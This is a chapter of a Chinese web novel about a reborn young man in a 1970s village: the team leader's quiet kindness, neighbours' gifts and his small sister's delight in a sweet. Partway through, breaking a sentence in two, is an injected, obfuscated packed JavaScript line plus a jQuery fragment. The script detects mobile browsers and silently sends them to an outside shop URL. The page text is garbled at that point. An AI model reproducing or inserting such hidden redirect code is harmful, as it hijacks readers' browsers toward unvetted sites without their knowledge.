信到的第二天，老队长来了。
林晨刚下地回来，扛着锄头进院门，就看见赵德厚坐在灶房门口的小板凳上。他今天没穿那件打了补丁的蓝布褂子，换了一件半新的灰衣裳，领口整齐，像是特意换的。
“队长。”林晨放下锄头。
“回来了？”老队长站起来，手里端着一碗水，没喝，在掌心里转，“你妈在屋？”
“在。”
母亲从灶房出来，腰上系着围裙，手上沾着面粉。她今天在蒸窝头，杂面的，掺了点白面——是二叔寄回来的那几斤。
“队长，你坐。”母亲擦擦手，“吃了没？”
“吃了吃了。”老队长摆摆手，没坐，站在灶房门口，往里看了一眼，“秀兰，我来跟你说个事。”
母亲没接话，等着。
老队长端着水碗，顿了顿，像是在斟酌怎么说。他说话平时不这样，干脆利落，今天有点吞吞吐吐。
“队上的事。”他清了清嗓子，“春耕忙，南坡那块地得抓紧翻。林晨半劳力，一天五分，我给他记上了。但他干的活不只五分，我心里有数。”
母亲没说话，看着他。
“年底分红的时候，我给他补上。”老队长说完，喝了口水，“我不会让人说闲话，也不会让你家吃亏。”
母亲低下头，手指在围裙上搓了搓。
“队长。”她说，“你一直照顾我们，我知道。”
“不是照顾。”老队长把碗放在灶台上，“是应该的。国梁是烈士，他的娃不能饿着。”
林晨站在院子里，没进去。他听见老队长提到父亲的名字，声音比平时低了一点，像是怕说重了。
念念从屋里跑出来，光着脚，手里拿着半块窝头，啃得满脸渣。
“爷爷。”她仰头看老队长，喊了一声。
老队长弯下腰，伸手摸了摸念念的头：“念念乖，认不认识爷爷？”
念念点点头，含含糊糊地说：“认识，你是发窝头的爷爷。”
老队长笑了，笑的时候眼角的纹路挤在一起，脸上的表情柔和了很多。
“发窝头的爷爷。”他重复了一遍，“行，以后爷爷给你多发一个。”
念念不懂什么叫“多发一个”，但她听见“发”字，以为老队长要给她什么，伸出小手。
老队长从兜里掏出一颗水果糖，放在念念手心里。
糖纸是花的，红的绿的，缠在一起。
念念捧着糖，愣了一秒，然后“哇”了一声，转身跑进灶房，举给母亲看。
“妈！糖！”
“说谢谢爷爷。”母亲说。
“谢谢爷爷。”念念说完，低头啃糖纸，啃不开，急得直跺脚。
熙熙从屋里出来，接过糖，剥开糖纸，塞进念念嘴里。
念念含住糖，腮帮子鼓起一个小包，眯着眼，脸上全是满足。
林晨看着念念吃糖的样子，喉咙发紧。
水果糖。在村里，这是稀罕东西。供销社偶尔有，几分钱一块，但一般人家舍不得买。老队长兜里常年揣着糖，见到小孩就给。
“队长。”林晨走过去，“谢谢。”
“谢啥。”老队长摆摆手，回头看了一眼灶房，压低声音，“你妈这两天脸色不好，是不是没睡好？”
“缝纫活多，晚上赶工。”
“让她别太拼。”老队长从口袋里掏出一张纸，折成小块，塞进林晨手里，“这个你拿着。”
林晨低头一看，是布票。三尺。
“队长——”
“别声张。”老队长已经转身往院门走了，“你妹的衣裳短了，该做新的了。”
他走得快，没给林晨追上去的机会。
林晨攥着那张布票，站在院子里。
灶房里，念念含着糖，含混不清地说：“田。”
熙熙问她：“什么甜？”
“糖田。”念念指了指自己的嘴。
母亲在里面笑了一声，轻轻的，像风吹过窗纸。
林晨把布票折好，放进枕头底下，跟二叔的信放在一起。
夜里，林晨又进了空间。
玉米苗已经长到他膝盖那么高了，叶子墨绿墨绿的，茎秆粗得像手指。他蹲下来，摸了摸叶子，叶子厚实，有弹性，不像外面的玉米苗那么薄。
他站起来，扛起锄头，继续翻剩下的地。
八分地，翻了一半了。今天加把劲，把剩下的四分担了。
锄头起落，黑土翻飞。
林晨越翻越快，不累，不喘。出汗了，但不是虚汗，是干活的汗，热腾腾的，顺着后背往下淌。
翻完最后一垄，他把锄头杵在地上，直起腰，长长地呼了一口气。
一亩地，全翻完了。
接下来是起垄、下种。土豆、红薯、白菜、萝卜，轮着种。他要算好时间，分批种，分批收，不能让粮仓空着。
林晨走到井边，掀开木盖，喝了三捧水。
水还是那么清，那么甜。喝下去，像一条凉线从喉咙滑到胃里，浑身的燥热一下子散了。
他灌满竹筒，出来，兑进水壶。
躺在炕上，念念又攥住了他的衣角。
林晨侧过头，借着窗纸透进来的月光，看念念的脸。
她睡着了，嘴角还留着一点糖渍。糖早化了，但嘴巴还在动，像是在梦里回味那股甜味。
第二天一早，林晨还没起来，就听见院门响。
“秀兰！”是张桂英的声音，大嗓门，隔着院子都能听见。
林晨起来，穿上衣服，走出灶房。
张桂英站在院子里，手里提着一个布包袱，红底白花，鼓鼓囊囊的。
“桂英姐。”母亲从灶房出来，“吃了吗？”
“吃了吃了。”张桂英把包袱递给她，“这个给你。公社妇联发的，一人一件，我穿不了，你拿去改改，给熙熙穿。”
母亲打开包袱，里面是一件半新的碎花褂子。不是新的，但料子好，洗得干干净净，叠得整整齐齐。
“这——”
“别这那的。”张桂英摆摆手，“我穿太大了，你手巧，改小一点，熙熙穿上肯定好看。”
熙熙从屋里探出头，看见那件褂子，眼睛亮了一下，但没说话。
母亲看了一眼熙熙，把包袱收下了。
“桂英姐，坐会儿。”
“不坐了，队上还有事。”张桂英走到院门口，回头说了一句，“秀兰，你家念念气色好多了，脸上有肉了。”
母亲愣了一下，看了念念一眼。
念念蹲在院子里，拿小棍子戳蚂蚁，没听见。
“是吗？”母亲说。
“你自己看不出来？”张桂英走了，声音从院墙外传来，“你家孩子养得好，不像以前那么黄皮寡瘦的了。”
母亲站在原地，看了念念一会儿，没说话，转身回灶房了。
林晨端着碗喝糊糊，余光看见母亲往念念碗里多舀了一勺。
就一勺。
多了这一勺，母亲自己的碗里就浅了些。
林晨没戳穿。他把自己的糊糊倒了一半进母亲碗里，低头继续喝。
母亲看了他一眼，没说话。
吃完饭，林晨扛着锄头出门。
今天李叔没在老榆树下等他。老队长说，李叔家有事，今天换个人带林晨。
“你跟王叔。”老队长指了指旁边一个瘦高个，“王叔，林晨跟你一组。”
王叔看了林晨一眼，点了点头，没说话。
这人话少，跟爷爷一个类型。
两人扛着锄头往南坡走，一路上没说三句话。
到了地里，王叔自己干自己的，不教，不催，也不看林晨。
林晨也不在意，自己干。他已经不需要人教了。锄头稳了，腰不酸了，手上的茧长起来了，虽然还没完全成熟，但不会再磨破皮。
太阳升起来，照在
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17508784|202911||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
黄土地上。
林晨干了半垄，直起腰，擦了把汗。
他看见一个人影从坡下走上来，是刘能。大队会计，手里提着算盘，腋下夹着一本账本。
“王叔。”刘能喊了一声，“你家工分我重新核了，你过来看看。”
王叔放下锄头，走过去。
林晨低头继续锄地。
余光里，他看见刘能往他这边看了一眼，很快，像是不经意。
林晨没抬头，继续锄。
刘能跟王叔说完话，走了。
林晨这才抬起头，看着刘能的背影。
他想起了李叔说的话——“他以前少算过你的吗？”
林晨把锄头插在土里，从口袋里掏出那张皱巴巴的纸，刘能上次补给他两分的那张。
他看了一遍，折好，放回口袋。
下午收工，林晨扛着锄头回家。
老榆树下，老队长还在，蹲在树根上抽旱烟。
“晨儿。”他叫住林晨。
林晨走过去。
“你爷的腿，孙大爷看了没？”
“看了，说老毛病，贴膏药。”
“孙大爷那儿膏药不多了。”老队长磕了磕烟袋锅，“我托人去县城买几贴，回头给你爷送去。”
“队长，我来买——”
“你有钱？”老队长看了他一眼。
林晨没说话。
“我买。”老队长站起来，拍了拍裤腿上的土，“你爷跟我是发小，从小一起长大。我不能看着他腿疼下不了地。”
他走了。
林晨站在老榆树下，站了一会儿。
风从南坡吹过来，带着翻过的泥土味，潮润润的。
他扛着锄头回家。
院门口，念念又坐在门槛上等他。
“锅锅。”她手里拿着一朵蔫了的花，举起给他看，“化谢了。”
昨天那束花，放在水瓢里，漂了一天一夜，花瓣蔫了，垂下来，颜色从白变黄。
林晨蹲下来，接过那朵蔫花。
“哥明天给你摘新的。”
“不要了。”念念摇头，把蔫花拿回去，放在门槛上，“化谢了，明天还会长出来吗？”
林晨不知道她是在问花，还是在问别的什么。
“会的。”他说，“明年还会长出来。”
念念似懂非懂地“嗯”了一声，把那朵蔫花放进了兜里。
灶房里，母亲已经摆好了碗筷。
熙熙在油灯下写字，念念爬到她旁边，拿小棍子在桌上画。
林晨坐在门槛上脱鞋，把鞋里的土倒干净。
灶房里，缝纫机声又响了。
咔嚓咔嚓，咔嚓咔嚓。
林晨靠在门框上，闭上眼。
玉佩贴在胸口，温热的。
他听见念念在灶房里说：“姐，明天还让锅锅给我带化。”
熙熙说：“你天天要花，哥上哪儿给你摘？”
“山上有。”
“山上远，哥要下地。”
念念不说话了。
过了一会儿，她小声说：“那我不要了。”
林晨睁开眼，站起来，走进灶房。
“明天哥给你带。”他说。
念念抬头看他，眼睛亮亮的，像水缸里漂着的那朵花，沾了水，闪闪发光。
她喊了一声：“锅锅真好。”
林晨伸手摸了摸她的头。
灶房里的糊糊味、缝纫机油味、油灯的烟，搅在一起。
念念抱着碗喝糊糊，喝得呼呼响。
熙熙在纸上写字，一笔一划。
母亲踩着缝纫机，头也不抬。
东屋里，奶奶在跟爷爷说话，声音低低的，听不清说什么。
林晨站在灶房门口，把这些声音一五一十地收进耳朵里。
他没有觉得吵。
前世他嫌吵。
这一世，他怕听不见。